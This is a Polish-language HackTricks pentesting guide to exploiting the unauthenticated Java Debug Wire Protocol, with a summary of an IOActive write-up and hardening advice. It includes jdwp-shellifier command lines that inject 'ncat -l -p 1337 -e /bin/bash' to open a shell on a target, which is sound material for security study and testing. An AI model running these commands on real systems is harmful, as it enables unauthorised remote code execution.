Pentesting JDWP - Java Debug Wire Protocol

Reading time: 4 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Wykorzystywanie

Wykorzystanie JDWP opiera się na braku uwierzytelniania i szyfrowania protokołu. Zwykle znajduje się na porcie 8000, ale możliwe są inne porty. Początkowe połączenie nawiązywane jest poprzez wysłanie "JDWP-Handshake" do docelowego portu. Jeśli usługa JDWP jest aktywna, odpowiada tym samym ciągiem, potwierdzając swoją obecność. Ten handshake działa jako metoda identyfikacji do rozpoznawania usług JDWP w sieci.

Jeśli chodzi o identyfikację procesów, wyszukiwanie ciągu "jdwk" w procesach Java może wskazywać na aktywną sesję JDWP.

Narzędziem, które warto użyć, jest jdwp-shellifier. Możesz go używać z różnymi parametrami:

bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Zauważyłem, że użycie --break-on 'java.lang.String.indexOf' sprawia, że exploit jest stabilniejszy. A jeśli masz możliwość przesłania backdoora na hosta i jego uruchomienia zamiast wykonywania polecenia, exploit będzie jeszcze bardziej stabilny.

Więcej szczegółów

To jest podsumowanie https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Sprawdź to, aby uzyskać więcej szczegółów.

  1. Przegląd JDWP:
  • To protokół binarny oparty na pakietach, głównie synchroniczny.
  • Brak autoryzacji i szyfrowania, co czyni go podatnym na ataki, gdy jest narażony na wrogie sieci.
  1. Uścisk dłoni JDWP:
  • Używany jest prosty proces uścisku dłoni do inicjowania komunikacji. Wymieniana jest 14-znakowa ciąg ASCII „JDWP-Handshake” między Debuggerem (klientem) a Debuggee (serwerem).
  1. Komunikacja JDWP:
  • Wiadomości mają prostą strukturę z polami takimi jak Długość, Id, Flaga i CommandSet.
  • Wartości CommandSet wahają się od 0x40 do 0x80, reprezentując różne akcje i zdarzenia.
  1. Eksploatacja:
  • JDWP pozwala na ładowanie i wywoływanie dowolnych klas i bajtkodu, co stwarza zagrożenia dla bezpieczeństwa.
  • Artykuł szczegółowo opisuje proces eksploatacji w pięciu krokach, obejmujących pobieranie odniesień do Java Runtime, ustawianie punktów przerwania i wywoływanie metod.
  1. Eksploatacja w rzeczywistości:
  • Pomimo potencjalnych zabezpieczeń zapory, usługi JDWP są wykrywalne i podatne na ataki w rzeczywistych scenariuszach, co zostało udowodnione przez wyszukiwania na platformach takich jak ShodanHQ i GitHub.
  • Skrypt exploita był testowany na różnych wersjach JDK i jest niezależny od platformy, oferując niezawodne zdalne wykonanie kodu (RCE).
  1. Implikacje bezpieczeństwa:
  • Obecność otwartych usług JDWP w internecie podkreśla potrzebę regularnych przeglądów bezpieczeństwa, wyłączania funkcji debugowania w produkcji oraz odpowiedniej konfiguracji zapory.

Referencje:

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks